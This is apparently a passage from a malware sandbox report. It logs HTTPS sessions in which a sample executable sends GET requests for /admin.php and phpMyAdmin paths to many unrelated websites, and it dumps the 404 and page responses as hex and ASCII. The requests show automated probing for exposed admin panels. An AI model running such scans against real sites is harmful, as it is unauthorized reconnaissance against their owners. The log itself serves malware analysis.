2023-11-26 05:59:40 UTC	15763	IN	Data Raw: 37 64 38 38 0d 0a 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 3e 0a 3c 21 2d 2d 5b 69 66 20 6c 74 20 49 45 20 37 20 5d 3e 20 3c 68 74 6d 6c 20 6c 61 6e 67 3d 22 70 74 22 20 63 6c 61 73 73 3d 22 6e 6f 2d 6a 73 20 69 65 36 22 3e 20 3c 21 5b 65 6e 64 69 66 5d 2d 2d 3e 0a 3c 21 2d 2d 5b 69 66 20 49 45 20 37 20 5d 3e 20 20 20 20 3c 68 74 6d 6c 20 6c 61 6e 67 3d 22 70 74 22 20 63 6c 61 73 73 3d 22 6e 6f 2d 6a 73 20 69 65 37 22 3e 20 3c 21 5b 65 6e 64 69 66 5d 2d 2d 3e 0a 3c 21 2d 2d 5b 69 66 20 49 45 20 38 20 5d 3e 20 20 20 20 3c 68 74 6d 6c 20 6c 61 6e 67 3d 22 70 74 22 20 63 6c 61 73 73 3d 22 6e 6f 2d 6a 73 20 69 65 38 22 3e 20 3c 21 5b 65 6e 64 69 66 5d 2d 2d 3e 0a 3c 21 2d 2d 5b 69 66 20 49 45 20 39 20 5d 3e 20 20 20 20 3c 68 74 6d 6c 20 6c 61 6e 67 3d 22 70 Data Ascii: 7d88<!DOCTYPE html>...[if lt IE 7 ]> <html lang="pt" class="no-js ie6"> <![endif]-->...[if IE 7 ]> <html lang="pt" class="no-js ie7"> <![endif]-->...[if IE 8 ]> <html lang="pt" class="no-js ie8"> <![endif]-->...[if IE 9 ]> <html lang="p
2023-11-26 05:59:40 UTC	16381	IN	Data Raw: 6f 6e 63 6c 69 63 6b 3d 22 73 65 6e 64 4b 69 6e 65 73 69 73 44 61 74 61 41 6a 61 78 28 7b 61 63 74 69 6f 6e 49 44 3a 20 27 63 6c 69 63 6b 27 2c 61 63 74 69 6f 6e 44 61 74 61 3a 60 61 64 65 73 69 76 6f 73 2d 64 65 63 61 6c 71 75 65 73 20 2d 20 63 61 74 65 67 6f 72 79 32 60 7d 29 22 3e 0a 09 09 09 09 09 09 09 09 09 09 09 09 09 09 09 09 09 41 64 65 73 69 76 6f 73 20 26 61 6d 70 3b 20 44 65 63 61 6c 71 75 65 73 0a 09 09 09 09 09 09 09 09 09 09 09 09 09 09 09 09 3c 2f 61 3e 0a 09 09 09 09 09 09 09 09 09 09 09 09 09 09 09 0a 09 09 09 09 09 09 09 09 09 09 09 09 09 09 0a 09 09 09 09 09 09 09 09 09 09 09 09 09 09 09 0a 09 09 09 09 09 09 09 09 09 09 09 09 09 09 09 09 3c 61 20 63 6c 61 73 73 3d 22 73 75 62 2d 6d 65 6e 75 2d 69 74 65 6d 2d 6c 69 6e 6b 22 0a 09 09 09 Data Ascii: onclick="sendKinesisDataAjax({actionID: 'click',actionData:`adesivos-decalques - category2`})">Adesivos & Decalques</a><a class="sub-menu-item-link"
2023-11-26 05:59:41 UTC	16384	IN	Data Raw: 37 66 65 30 0d 0a 74 65 72 2d 73 65 6c 65 63 74 20 79 2d 79 65 61 72 22 20 70 6c 61 63 65 68 6f 6c 64 65 72 3d 22 4e c3 ba 6d 65 72 6f 20 64 65 20 53 c3 a9 72 69 65 22 2f 3e 0a 09 09 09 09 09 09 09 09 09 09 3c 62 75 74 74 6f 6e 20 74 79 70 65 3d 22 73 75 62 6d 69 74 22 20 63 6c 61 73 73 3d 22 66 69 6c 74 65 72 2d 62 75 74 74 6f 6e 20 62 74 6e 20 62 74 6e 2d 6c 67 20 6e 6f 2d 72 61 64 69 75 73 22 3e 46 69 6c 74 72 61 72 3c 2f 62 75 74 74 6f 6e 3e 0a 09 09 09 09 09 09 09 09 09 3c 2f 64 69 76 3e 0a 09 09 09 09 09 09 09 09 3c 2f 64 69 76 3e 0a 09 09 09 09 09 09 09 3c 2f 64 69 76 3e 0a 09 09 09 09 09 09 3c 2f 64 69 76 3e 0a 09 09 09 09 09 3c 2f 64 69 76 3e 0a 09 09 09 09 3c 2f 6e 61 76 3e 0a 09 09 09 0a 09 09 0a 09 0a 3c 73 63 72 69 70 74 3e 0a 09 76 61 72 20 Data Ascii: 7fe0ter-select y-year" placeholder="Nmero de Srie"/><button type="submit" class="filter-button btn btn-lg no-radius">Filtrar</button></div></div></div></div></div></nav><script>var
2023-11-26 05:59:41 UTC	16360	IN	Data Raw: 09 09 09 0a 09 09 09 3c 2f 64 69 76 3e 0a 09 09 09 3c 64 69 76 20 63 6c 61 73 73 3d 22 63 6f 6e 74 61 69 6e 65 72 2d 73 65 63 6f 6e 64 61 72 79 2d 62 6f 78 2d 74 77 6f 22 20 3e 0a 09 09 09 09 0a 09 09 09 09 09 0a 09 09 09 09 0a 09 09 09 3c 2f 64 69 76 3e 0a 09 09 09 3c 64 69 76 20 63 6c 61 73 73 3d 22 63 6f 6e 74 61 69 6e 65 72 2d 73 65 63 6f 6e 64 61 72 79 2d 62 6f 78 2d 74 68 72 65 65 22 3e 0a 09 09 09 09 0a 09 09 09 09 09 0a 09 09 09 09 0a 09 09 09 3c 2f 64 69 76 3e 0a 09 09 09 3c 64 69 76 20 20 63 6c 61 73 73 3d 22 63 6f 6e 74 61 69 6e 65 72 2d 73 65 63 6f 6e 64 61 72 79 2d 62 6f 78 2d 66 6f 75 72 22 3e 0a 09 09 09 09 0a 09 09 09 09 09 3c 64 69 76 20 63 6c 61 73 73 3d 22 66 6f 6f 74 65 72 5f 5f 6c 6f 67 6f 22 3e 0a 09 09 09 09 09 09 3c 61 20 68 72 65 Data Ascii: </div><div class="container-secondary-box-two" ></div><div class="container-secondary-box-three"></div><div class="container-secondary-box-four"><div class="footer__logo"><a hre
2023-11-26 05:59:41 UTC	16384	IN	Data Raw: 37 66 65 30 0d 0a 0a 0a 0a 3c 2f 73 63 72 69 70 74 3e 0a 3c 73 63 72 69 70 74 20 69 64 3d 22 63 6f 75 6e 74 64 6f 77 6e 2d 74 65 6d 70 6c 61 74 65 22 20 74 79 70 65 3d 22 74 65 78 74 2f 78 2d 68 61 6e 64 6c 65 62 61 72 73 2d 74 65 6d 70 6c 61 74 65 22 3e 0a 09 09 7b 7b 23 69 66 20 73 6b 75 2e 62 65 73 74 7d 7d 0a 09 3c 64 69 76 20 69 74 65 6d 70 72 6f 70 3d 22 6f 66 66 65 72 73 22 20 69 74 65 6d 73 63 6f 70 65 3d 22 22 20 69 74 65 6d 74 79 70 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 2e 6f 72 67 2f 4f 66 66 65 72 22 20 63 6c 61 73 73 3d 22 63 6f 75 6e 74 64 6f 77 6e 2d 6f 66 66 65 72 22 3e 0a 09 09 3c 6c 69 6e 6b 20 69 74 65 6d 70 72 6f 70 3d 22 75 72 6c 22 20 68 72 65 66 3d 22 68 74 74 70 73 3a 2f 2f 77 77 77 2e 72 65 63 68 2e 63 6f 6d 2f 22 2f 3e Data Ascii: 7fe0</script><script id="countdown-template" type="text/x-handlebars-template">{{#if sku.best}}<div itemprop="offers" itemscope="" itemtype="http://schema.org/Offer" class="countdown-offer"><link itemprop="url" href="https://www.rech.com/"/>
2023-11-26 05:59:41 UTC	16360	IN	Data Raw: 09 64 61 74 61 2d 6f 72 69 67 69 6e 70 72 69 63 65 3d 22 7b 7b 73 6b 75 2e 62 65 73 74 2e 6f 72 69 67 69 6e 50 72 69 63 65 7d 7d 22 0a 09 09 09 09 09 09 64 61 74 61 2d 73 65 6c 6c 65 72 3d 22 7b 7b 73 6b 75 2e 62 65 73 74 2e 73 65 6c 6c 65 72 4e 61 6d 65 7d 7d 22 0a 09 09 09 09 09 09 64 61 74 61 2d 69 64 3d 22 7b 7b 73 6b 75 2e 73 6b 75 49 64 7d 7d 22 0a 09 09 09 09 09 09 64 61 74 61 2d 73 6b 75 2d 6f 62 6a 3d 22 22 0a 09 09 09 09 09 09 64 61 74 61 2d 70 61 72 74 6e 65 72 53 74 6f 63 6b 73 3d 22 7b 7b 73 6b 75 2e 70 61 72 74 6e 65 72 53 74 6f 63 6b 73 7d 7d 22 0a 09 09 09 09 09 09 64 61 74 61 2d 73 74 6f 63 6b 2d 72 65 6d 61 69 6e 69 6e 67 3d 22 7b 7b 73 6b 75 2e 62 65 73 74 2e 73 74 6f 63 6b 52 65 6d 61 69 6e 69 6e 67 7d 7d 22 0a 09 09 09 09 09 09 64 61 Data Ascii: data-originprice="{{sku.best.originPrice}}"data-seller="{{sku.best.sellerName}}"data-id="{{sku.skuId}}"data-sku-obj=""data-partnerStocks="{{sku.partnerStocks}}"data-stock-remaining="{{sku.best.stockRemaining}}"da
2023-11-26 05:59:41 UTC	3475	IN	Data Raw: 64 38 63 0d 0a 6e 64 61 72 79 3a 20 27 23 34 66 34 66 34 66 27 2c 0a 09 09 63 6f 6c 6f 72 54 65 72 74 69 61 72 79 3a 20 27 23 34 66 34 66 34 66 27 2c 0a 09 09 63 6f 6c 6f 72 51 75 61 74 65 72 6e 61 72 79 3a 20 27 23 32 36 37 37 46 39 27 2c 0a 09 09 63 6f 6c 6f 72 4e 65 75 74 72 61 6c 3a 20 22 23 42 36 42 36 42 36 22 2c 0a 09 09 63 6f 6c 6f 72 45 72 72 6f 72 3a 20 22 23 45 41 30 38 30 38 22 2c 0a 09 09 63 6f 6c 6f 72 41 6c 65 72 74 3a 20 22 23 45 31 41 31 30 30 22 2c 0a 09 09 63 6f 6c 6f 72 53 75 63 63 65 73 73 3a 20 22 23 30 37 42 34 35 44 22 0a 09 7d 0a 0a 09 77 69 6e 64 6f 77 2e 63 77 73 54 68 65 6d 65 54 6f 6b 65 6e 73 28 74 6f 6b 65 6e 73 29 0a 3c 2f 73 63 72 69 70 74 3e 0a 0a 0a 09 0a 09 09 3c 73 63 72 69 70 74 20 74 79 70 65 3d 22 74 65 78 74 2f 6a Data Ascii: d8cndary: '#4f4f4f',colorTertiary: '#4f4f4f',colorQuaternary: '#2677F9',colorNeutral: "#B6B6B6",colorError: "#EA0808",colorAlert: "#E1A100",colorSuccess: "#07B45D"}window.cwsThemeTokens(tokens)</script><script type="text/j
2023-11-26 05:59:41 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
264	192.168.2.4	62480	13.32.208.27	443	6240	C:\Users\user\Desktop\klWGq3yDcQ.exe

Timestamp	Bytes transferred	Direction	Data
2023-11-26 05:59:40 UTC	176	OUT	GET /admin.php HTTP/1.1 Host: www.perrisesd.org Accept: / Accept-Encoding: deflate, gzip User-Agent: Mozilla/5.0 (Windows NT 6.0; rv:34.0) Gecko/20100101 Firefox/34.0
2023-11-26 05:59:40 UTC	1145	IN	Data Raw: 48 54 54 50 2f 31 2e 31 20 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 0d 0a 43 6f 6e 74 65 6e 74 2d 54 79 70 65 3a 20 74 65 78 74 2f 68 74 6d 6c 3b 20 63 68 61 72 73 65 74 3d 75 74 66 2d 38 0d 0a 43 6f 6e 74 65 6e 74 2d 4c 65 6e 67 74 68 3a 20 33 30 36 37 0d 0a 43 6f 6e 6e 65 63 74 69 6f 6e 3a 20 63 6c 6f 73 65 0d 0a 44 61 74 65 3a 20 53 75 6e 2c 20 32 36 20 4e 6f 76 20 32 30 32 33 20 30 35 3a 35 39 3a 34 30 20 47 4d 54 0d 0a 43 61 63 68 65 2d 43 6f 6e 74 72 6f 6c 3a 20 70 72 69 76 61 74 65 0d 0a 53 65 72 76 65 72 3a 20 4d 69 63 72 6f 73 6f 66 74 2d 49 49 53 2f 31 30 2e 30 0d 0a 53 74 72 69 63 74 2d 54 72 61 6e 73 70 6f 72 74 2d 53 65 63 75 72 69 74 79 3a 20 6d 61 78 2d 61 67 65 3d 33 31 35 33 36 30 30 30 3b 20 69 6e 63 6c 75 64 65 53 75 62 44 6f 6d 61 69 6e Data Ascii: HTTP/1.1 404 Not FoundContent-Type: text/html; charset=utf-8Content-Length: 3067Connection: closeDate: Sun, 26 Nov 2023 05:59:40 GMTCache-Control: privateServer: Microsoft-IIS/10.0Strict-Transport-Security: max-age=31536000; includeSubDomain
2023-11-26 05:59:40 UTC	3067	IN	Data Raw: 0d 0a 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 0d 0a 20 20 20 20 3c 6c 69 6e 6b 20 72 65 6c 3d 22 53 74 79 6c 65 73 68 65 65 74 22 20 74 79 70 65 3d 22 74 65 78 74 2f 63 73 73 22 20 68 72 65 66 3d 22 68 74 74 70 73 3a 2f 2f 77 77 77 2e 70 65 72 72 69 73 65 73 64 2e 6f 72 67 2f 53 74 61 74 69 63 2f 2f 73 69 74 65 2f 61 73 73 65 74 73 2f 53 74 79 6c 65 73 2f 73 79 73 74 65 6d 5f 32 37 34 31 2e 63 73 73 22 20 2f 3e 0d 0a 20 20 20 20 3c 74 69 74 6c 65 3e 45 72 72 6f 72 20 34 30 34 20 2d 20 50 61 67 65 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 0d 0a 20 20 20 20 3c 73 74 79 6c 65 20 74 79 70 65 3d 22 74 65 78 74 2f 63 73 73 22 3e 0d 0a 20 20 20 20 20 20 20 20 40 66 6f 6e 74 2d 66 61 63 65 20 7b 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 66 6f 6e 74 Data Ascii: <html><head> <link rel="Stylesheet" type="text/css" href="https://www.perrisesd.org/Static//site/assets/Styles/system_2741.css" /> <title>Error 404 - Page Not Found</title> <style type="text/css"> @font-face { font

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
265	192.168.2.4	62477	54.83.33.36	443	6240	C:\Users\user\Desktop\klWGq3yDcQ.exe

Timestamp	Bytes transferred	Direction	Data
2023-11-26 05:59:40 UTC	173	OUT	GET /PhpMyAdmin/ HTTP/1.1 Host: ce-logic.com Accept: / Accept-Encoding: deflate, gzip User-Agent: Mozilla/5.0 (Windows NT 6.0; rv:34.0) Gecko/20100101 Firefox/34.0
2023-11-26 05:59:40 UTC	262	IN	Data Raw: 48 54 54 50 2f 31 2e 31 20 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 0d 0a 44 61 74 65 3a 20 53 75 6e 2c 20 32 36 20 4e 6f 76 20 32 30 32 33 20 30 35 3a 35 39 3a 34 30 20 47 4d 54 0d 0a 53 65 72 76 65 72 3a 20 41 70 61 63 68 65 2f 32 2e 34 2e 35 32 20 28 55 62 75 6e 74 75 29 0d 0a 76 61 72 79 3a 20 58 2d 46 6f 72 77 61 72 64 65 64 2d 50 72 6f 74 6f 63 6f 6c 0d 0a 63 61 63 68 65 2d 63 6f 6e 74 72 6f 6c 3a 20 6e 6f 2d 63 61 63 68 65 2c 20 6e 6f 2d 73 74 6f 72 65 2c 20 6d 75 73 74 2d 72 65 76 61 6c 69 64 61 74 65 0d 0a 43 6f 6e 6e 65 63 74 69 6f 6e 3a 20 63 6c 6f 73 65 0d 0a 54 72 61 6e 73 66 65 72 2d 45 6e 63 6f 64 69 6e 67 3a 20 63 68 75 6e 6b 65 64 0d 0a 43 6f 6e 74 65 6e 74 2d 54 79 70 65 3a 20 74 65 78 74 2f 68 74 6d 6c 3b 20 63 68 61 72 73 65 74 3d 75 74 Data Ascii: HTTP/1.1 404 Not FoundDate: Sun, 26 Nov 2023 05:59:40 GMTServer: Apache/2.4.52 (Ubuntu)vary: X-Forwarded-Protocolcache-control: no-cache, no-store, must-revalidateConnection: closeTransfer-Encoding: chunkedContent-Type: text/html; charset=ut
2023-11-26 05:59:40 UTC	7930	IN	Data Raw: 35 38 33 36 0d 0a 3c 21 64 6f 63 74 79 70 65 20 68 74 6d 6c 3e 0a 3c 68 74 6d 6c 20 63 6c 61 73 73 3d 22 6e 6f 2d 6a 73 22 20 6c 61 6e 67 3d 22 65 6e 22 3e 0a 20 20 20 20 3c 68 65 61 64 3e 0a 20 20 20 20 20 20 20 20 3c 62 61 73 65 20 68 72 65 66 3d 22 68 74 74 70 73 3a 2f 2f 63 65 2d 6c 6f 67 69 63 2e 63 6f 6d 2f 22 3e 3c 21 2d 2d 5b 69 66 20 6c 74 65 20 49 45 20 36 5d 3e 3c 2f 62 61 73 65 3e 3c 21 5b 65 6e 64 69 66 5d 2d 2d 3e 0a 20 20 20 20 20 20 20 20 3c 6d 65 74 61 20 63 68 61 72 73 65 74 3d 22 75 74 66 2d 38 22 3e 0a 20 20 20 20 20 20 20 20 3c 6d 65 74 61 20 68 74 74 70 2d 65 71 75 69 76 3d 22 58 2d 55 41 2d 43 6f 6d 70 61 74 69 62 6c 65 22 20 63 6f 6e 74 65 6e 74 3d 22 49 45 3d 65 64 67 65 22 3e 0a 20 20 20 20 20 20 20 20 3c 74 69 74 6c 65 3e 50 61 Data Ascii: 5836<!doctype html><html class="no-js" lang="en"> <head> <base href="https://ce-logic.com/">...[if lte IE 6]></base><![endif]--> <meta charset="utf-8"> <meta http-equiv="X-UA-Compatible" content="IE=edge"> <title>Pa
2023-11-26 05:59:40 UTC	14658	IN	Data Raw: 52 65 73 65 61 72 63 68 20 53 6f 6c 75 74 69 6f 6e 73 3c 2f 70 3e 0a 09 09 09 09 09 09 09 09 09 09 3c 2f 61 3e 0a 09 09 09 09 09 09 09 09 09 09 0a 09 09 09 09 09 09 09 09 09 09 3c 61 20 68 72 65 66 3d 22 2f 65 64 75 63 61 74 69 6f 6e 61 6c 2d 73 6f 6c 75 74 69 6f 6e 73 2d 70 61 67 65 2f 6d 61 6b 65 72 73 70 61 63 65 2f 22 20 63 6c 61 73 73 3d 22 62 74 6e 20 77 68 69 74 65 20 61 6c 69 67 6e 2d 63 22 3e 0a 09 09 09 09 09 09 09 09 09 09 09 3c 70 20 63 6c 61 73 73 3d 22 62 74 6e 2d 74 65 78 74 22 3e 4d 61 6b 65 72 73 70 61 63 65 3c 2f 70 3e 0a 09 09 09 09 09 09 09 09 09 09 3c 2f 61 3e 0a 09 09 09 09 09 09 09 09 09 09 0a 09 09 09 09 09 09 09 09 09 3c 2f 64 69 76 3e 0a 09 09 09 09 09 09 09 09 3c 2f 64 69 76 3e 0a 09 09 09 09 09 09 09 3c 2f 64 69 76 3e 0a 09 09 Data Ascii: Research Solutions</p></a><a href="/educational-solutions-page/makerspace/" class="btn white align-c"><p class="btn-text">Makerspace</p></a></div></div></div>
2023-11-26 05:59:40 UTC	2	IN	Data Raw: 0d 0a Data Ascii:
2023-11-26 05:59:40 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
266	192.168.2.4	62478	76.223.105.230	443	6240	C:\Users\user\Desktop\klWGq3yDcQ.exe

Timestamp	Bytes transferred	Direction	Data
2023-11-26 05:59:40 UTC	207	OUT	GET /PhpMyAdmin/ HTTP/1.1 Host: saudi-jamac.com Accept: / Accept-Encoding: deflate, gzip Cookie: dps_site_id=us-east-1 User-Agent: Mozilla/5.0 (Windows NT 6.0; rv:34.0) Gecko/20100101 Firefox/34.0
2023-11-26 05:59:40 UTC	288	IN	Data Raw: 48 54 54 50 2f 31 2e 31 20 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 0d 0a 43 6f 6e 74 65 6e 74 2d 54 79 70 65 3a 20 74 65 78 74 2f 68 74 6d 6c 3b 63 68 61 72 73 65 74 3d 75 74 66 2d 38 0d 0a 43 6f 6e 74 65 6e 74 2d 4c 65 6e 67 74 68 3a 20 39 36 34 0d 0a 56 61 72 79 3a 20 41 63 63 65 70 74 2d 45 6e 63 6f 64 69 6e 67 0d 0a 53 65 72 76 65 72 3a 20 44 50 53 2f 32 2e 30 2e 30 2b 73 68 61 2d 33 32 31 30 62 34 39 0d 0a 58 2d 56 65 72 73 69 6f 6e 3a 20 33 32 31 30 62 34 39 0d 0a 58 2d 53 69 74 65 49 64 3a 20 75 73 2d 65 61 73 74 2d 31 0d 0a 53 65 74 2d 43 6f 6f 6b 69 65 3a 20 64 70 73 5f 73 69 74 65 5f 69 64 3d 75 73 2d 65 61 73 74 2d 31 3b 20 70 61 74 68 3d 2f 3b 20 73 65 63 75 72 65 0d 0a 44 61 74 65 3a 20 53 75 6e 2c 20 32 36 20 4e 6f 76 20 32 30 32 33 20 30 35 Data Ascii: HTTP/1.1 404 Not FoundContent-Type: text/html;charset=utf-8Content-Length: 964Vary: Accept-EncodingServer: DPS/2.0.0+sha-3210b49X-Version: 3210b49X-SiteId: us-east-1Set-Cookie: dps_site_id=us-east-1; path=/; secureDate: Sun, 26 Nov 2023 05
2023-11-26 05:59:40 UTC	964	IN	Data Raw: 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 3e 0a 3c 68 74 6d 6c 3e 0a 3c 68 65 61 64 3e 0a 20 20 20 20 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 0a 20 20 20 20 3c 6d 65 74 61 20 68 74 74 70 2d 65 71 75 69 76 3d 22 63 6f 6e 74 65 6e 74 2d 74 79 70 65 22 20 63 6f 6e 74 65 6e 74 3d 22 74 65 78 74 2f 68 74 6d 6c 3b 20 63 68 61 72 73 65 74 3d 75 74 66 2d 38 22 3e 0a 20 20 20 20 3c 6d 65 74 61 20 6e 61 6d 65 3d 22 76 69 65 77 70 6f 72 74 22 20 63 6f 6e 74 65 6e 74 3d 22 77 69 64 74 68 3d 64 65 76 69 63 65 2d 77 69 64 74 68 2c 20 69 6e 69 74 69 61 6c 2d 73 63 61 6c 65 3d 31 2e 30 22 3e 0a 20 20 20 20 3c 6c 69 6e 6b 20 68 72 65 66 3d 22 2f 2f 69 6d 67 31 2e 77 73 69 6d 67 2e 63 6f 6d 2f 64 70 73 2f 63 73 73 2f 75 78 63 6f Data Ascii: <!DOCTYPE html><html><head> <title>404 Not Found</title> <meta http-equiv="content-type" content="text/html; charset=utf-8"> <meta name="viewport" content="width=device-width, initial-scale=1.0"> <link href="//img1.wsimg.com/dps/css/uxco

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
267	192.168.2.4	62485	15.235.14.141	443	6240	C:\Users\user\Desktop\klWGq3yDcQ.exe

Timestamp	Bytes transferred	Direction	Data
2023-11-26 05:59:40 UTC	172	OUT	GET /PhpMyAdmin/ HTTP/1.1 Host: unaj.edu.pe Accept: / Accept-Encoding: deflate, gzip User-Agent: Mozilla/5.0 (Windows NT 6.0; rv:34.0) Gecko/20100101 Firefox/34.0
2023-11-26 05:59:40 UTC	473	IN	Data Raw: 48 54 54 50 2f 31 2e 31 20 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 0d 0a 53 65 72 76 65 72 3a 20 6e 67 69 6e 78 0d 0a 44 61 74 65 3a 20 53 75 6e 2c 20 32 36 20 4e 6f 76 20 32 30 32 33 20 30 35 3a 35 39 3a 34 30 20 47 4d 54 0d 0a 43 6f 6e 74 65 6e 74 2d 54 79 70 65 3a 20 74 65 78 74 2f 68 74 6d 6c 3b 20 63 68 61 72 73 65 74 3d 55 54 46 2d 38 0d 0a 54 72 61 6e 73 66 65 72 2d 45 6e 63 6f 64 69 6e 67 3a 20 63 68 75 6e 6b 65 64 0d 0a 43 6f 6e 6e 65 63 74 69 6f 6e 3a 20 63 6c 6f 73 65 0d 0a 43 61 63 68 65 2d 43 6f 6e 74 72 6f 6c 3a 20 6d 75 73 74 2d 72 65 76 61 6c 69 64 61 74 65 2c 20 6e 6f 2d 63 61 63 68 65 2c 20 70 72 69 76 61 74 65 0d 0a 58 2d 44 72 75 70 61 6c 2d 44 79 6e 61 6d 69 63 2d 43 61 63 68 65 3a 20 48 49 54 0d 0a 58 2d 55 41 2d 43 6f 6d 70 61 74 69 Data Ascii: HTTP/1.1 404 Not FoundServer: nginxDate: Sun, 26 Nov 2023 05:59:40 GMTContent-Type: text/html; charset=UTF-8Transfer-Encoding: chunkedConnection: closeCache-Control: must-revalidate, no-cache, privateX-Drupal-Dynamic-Cache: HITX-UA-Compati
2023-11-26 05:59:40 UTC	15911	IN	Data Raw: 37 39 37 30 0d 0a 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 3e 0a 3c 68 74 6d 6c 20 6c 61 6e 67 3d 22 65 73 22 20 64 69 72 3d 22 6c 74 72 22 20 70 72 65 66 69 78 3d 22 63 6f 6e 74 65 6e 74 3a 20 68 74 74 70 3a 2f 2f 70 75 72 6c 2e 6f 72 67 2f 72 73 73 2f 31 2e 30 2f 6d 6f 64 75 6c 65 73 2f 63 6f 6e 74 65 6e 74 2f 20 20 64 63 3a 20 68 74 74 70 3a 2f 2f 70 75 72 6c 2e 6f 72 67 2f 64 63 2f 74 65 72 6d 73 2f 20 20 66 6f 61 66 3a 20 68 74 74 70 3a 2f 2f 78 6d 6c 6e 73 2e 63 6f 6d 2f 66 6f 61 66 2f 30 2e 31 2f 20 20 6f 67 3a 20 68 74 74 70 3a 2f 2f 6f 67 70 2e 6d 65 2f 6e 73 23 20 20 72 64 66 73 3a 20 68 74 74 70 3a 2f 2f 77 77 77 2e 77 33 2e 6f 72 67 2f 32 30 30 30 2f 30 31 2f 72 64 66 2d 73 63 68 65 6d 61 23 20 20 73 63 68 65 6d 61 3a 20 68 74 74 70 3a 2f 2f Data Ascii: 7970<!DOCTYPE html><html lang="es" dir="ltr" prefix="content: http://purl.org/rss/1.0/modules/content/ dc: http://purl.org/dc/terms/ foaf: http://xmlns.com/foaf/0.1/ og: http://ogp.me/ns# rdfs: http://www.w3.org/2000/01/rdf-schema# schema: http://
2023-11-26 05:59:40 UTC	15190	IN	Data Raw: 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 3c 2f 61 3e 3c 2f 6c 69 3e 3c 6c 69 20 20 63 6c 61 73 73 3d 22 6d 65 6e 75 2d 69 74 65 6d 22 3e 3c 61 20 68 72 65 66 3d 22 2f 65 73 2f 64 65 66 2d 75 6e 69 2d 73 6f 6d 6f 73 22 3e 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 44 65 66 65 6e 73 6f 72 c3 ad 61 20 55 6e 69 76 65 72 73 69 74 61 72 69 61 20 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 3c 2f 61 3e 3c 2f 6c 69 3e 3c 6c 69 20 20 63 6c 61 73 73 3d 22 6d 65 6e 75 2d 69 74 65 6d 22 3e 3c 61 20 68 72 65 66 3d 22 68 74 74 70 73 3a 2f 2f 75 6e 61 6a 2e 65 6e 63 69 63 6c 6f 2e 65 73 2f 22 3e 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 Data Ascii: </a></li><li class="menu-item"><a href="/es/def-uni-somos"> Defensora Universitaria </a></li><li class="menu-item"><a href="https://unaj.enciclo.es/">

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
268	192.168.2.4	61828	199.34.228.177	443	6240	C:\Users\user\Desktop\klWGq3yDcQ.exe

Timestamp	Bytes transferred	Direction	Data
2023-11-26 05:59:40 UTC	190	OUT	GET /phpmyadmin HTTP/1.1 Host: www.gatewaytoearlylearning.com Accept: / Accept-Encoding: deflate, gzip User-Agent: Mozilla/5.0 (Windows NT 6.0; rv:34.0) Gecko/20100101 Firefox/34.0
2023-11-26 05:59:40 UTC	1123	IN	Data Raw: 48 54 54 50 2f 31 2e 31 20 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 0d 0a 53 65 72 76 65 72 3a 20 6e 67 69 6e 78 0d 0a 43 6f 6e 74 65 6e 74 2d 54 79 70 65 3a 20 74 65 78 74 2f 68 74 6d 6c 3b 20 63 68 61 72 73 65 74 3d 55 54 46 2d 38 0d 0a 54 72 61 6e 73 66 65 72 2d 45 6e 63 6f 64 69 6e 67 3a 20 63 68 75 6e 6b 65 64 0d 0a 43 6f 6e 6e 65 63 74 69 6f 6e 3a 20 6b 65 65 70 2d 61 6c 69 76 65 0d 0a 56 61 72 79 3a 20 41 63 63 65 70 74 2d 45 6e 63 6f 64 69 6e 67 0d 0a 43 61 63 68 65 2d 43 6f 6e 74 72 6f 6c 3a 20 6e 6f 2d 63 61 63 68 65 2c 20 70 72 69 76 61 74 65 0d 0a 44 61 74 65 3a 20 53 75 6e 2c 20 32 36 20 4e 6f 76 20 32 30 32 33 20 30 35 3a 35 39 3a 34 30 20 47 4d 54 0d 0a 53 65 74 2d 43 6f 6f 6b 69 65 3a 20 70 75 62 6c 69 73 68 65 64 73 69 74 65 2d 78 73 72 66 Data Ascii: HTTP/1.1 404 Not FoundServer: nginxContent-Type: text/html; charset=UTF-8Transfer-Encoding: chunkedConnection: keep-aliveVary: Accept-EncodingCache-Control: no-cache, privateDate: Sun, 26 Nov 2023 05:59:40 GMTSet-Cookie: publishedsite-xsrf
